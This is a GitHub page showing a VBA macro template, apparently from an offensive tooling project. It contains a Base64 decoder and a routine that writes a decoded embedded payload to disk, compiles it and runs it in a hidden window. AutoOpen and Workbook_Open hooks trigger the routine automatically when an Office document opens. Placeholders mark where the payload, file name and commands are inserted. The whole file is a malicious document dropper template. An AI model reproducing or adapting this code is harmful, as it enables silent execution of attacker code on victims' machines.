-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathmacrotemplate
More file actions
105 lines (89 loc) · 4.1 KB
/
macrotemplate
File metadata and controls
105 lines (89 loc) · 4.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
Option Explicit
Public Const clOneMask = 16515072 '000000 111111 111111 111111
Public Const clTwoMask = 258048 '111111 000000 111111 111111
Public Const clThreeMask = 4032 '111111 111111 000000 111111
Public Const clFourMask = 63 '111111 111111 111111 000000
Public Const clHighMask = 16711680 '11111111 00000000 00000000
Public Const clMidMask = 65280 '00000000 11111111 00000000
Public Const clLowMask = 255 '00000000 00000000 11111111
Public Const cl2Exp18 = 262144 '2 to the 18th power
Public Const cl2Exp12 = 4096 '2 to the 12th
Public Const cl2Exp6 = 64 '2 to the 6th
Public Const cl2Exp8 = 256 '2 to the 8th
Public Const cl2Exp16 = 65536 '2 to the 16th
Public Function Decode64(sString As String) As String
Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
sString = Replace(sString, vbCr, vbNullString) 'Get rid of the vbCrLfs. These could be in...
sString = Replace(sString, vbLf, vbNullString) 'either order.
lTemp = Len(sString) Mod 4 'Test for valid input.
If lTemp Then
Call Err.Raise(vbObjectError, "MyDecode", "Input string is not valid Base64.")
End If
If InStrRev(sString, "==") Then 'InStrRev is faster when you know it's at the end.
iPad = 2 'Note: These translate to 0, so you can leave them...
ElseIf InStrRev(sString, "=") Then 'in the string and just resize the output.
iPad = 1
End If
For lTemp = 0 To 255 'Fill the translation table.
Select Case lTemp
Case 65 To 90
bTrans(lTemp) = lTemp - 65 'A - Z
Case 97 To 122
bTrans(lTemp) = lTemp - 71 'a - z
Case 48 To 57
bTrans(lTemp) = lTemp + 4 '1 - 0
Case 43
bTrans(lTemp) = 62 'Chr(43) = "+"
Case 47
bTrans(lTemp) = 63 'Chr(47) = "/"
End Select
Next lTemp
For lTemp = 0 To 63 'Fill the 2^6, 2^12, and 2^18 lookup tables.
lPowers6(lTemp) = lTemp * cl2Exp6
lPowers12(lTemp) = lTemp * cl2Exp12
lPowers18(lTemp) = lTemp * cl2Exp18
Next lTemp
bIn = StrConv(sString, vbFromUnicode) 'Load the input byte array.
ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1) 'Prepare the output buffer.
For lChar = 0 To UBound(bIn) Step 4
lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3)) 'Rebuild the bits.
lTemp = lQuad And clHighMask 'Mask for the first byte
bOut(lPos) = lTemp \ cl2Exp16 'Shift it down
lTemp = lQuad And clMidMask 'Mask for the second byte
bOut(lPos + 1) = lTemp \ cl2Exp8 'Shift it down
bOut(lPos + 2) = lQuad And clLowMask 'Mask for the third byte
lPos = lPos + 3
Next lChar
sOut = StrConv(bOut, vbUnicode) 'Convert back to a string.
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad) 'Chop off any extra bytes.
Decode64 = sOut
End Function
$$$SUBCAT$$$
Sub iDn()
Dim myFso As Object
Set myFso = CreateObject("Scripting.FileSystemObject")
Dim fileName
$$$FILENAME$$$
Dim oFile As Object
Set oFile = myFso.CreateTextFile(fileName)
Dim enc As String
enc = ""
$$$ENCODED$$$
oFile.Write Decode64(enc)
oFile.Close
Dim compCmd
$$$COMPILE$$$
Call Shell(compCmd, vbHide)
Dim runCmd
$$$RUN$$$
Call Shell(runCmd, vbHide)
End Sub
Sub AutoOpen()
iDn
End Sub
Sub Workbook_Open()
iDn
End Sub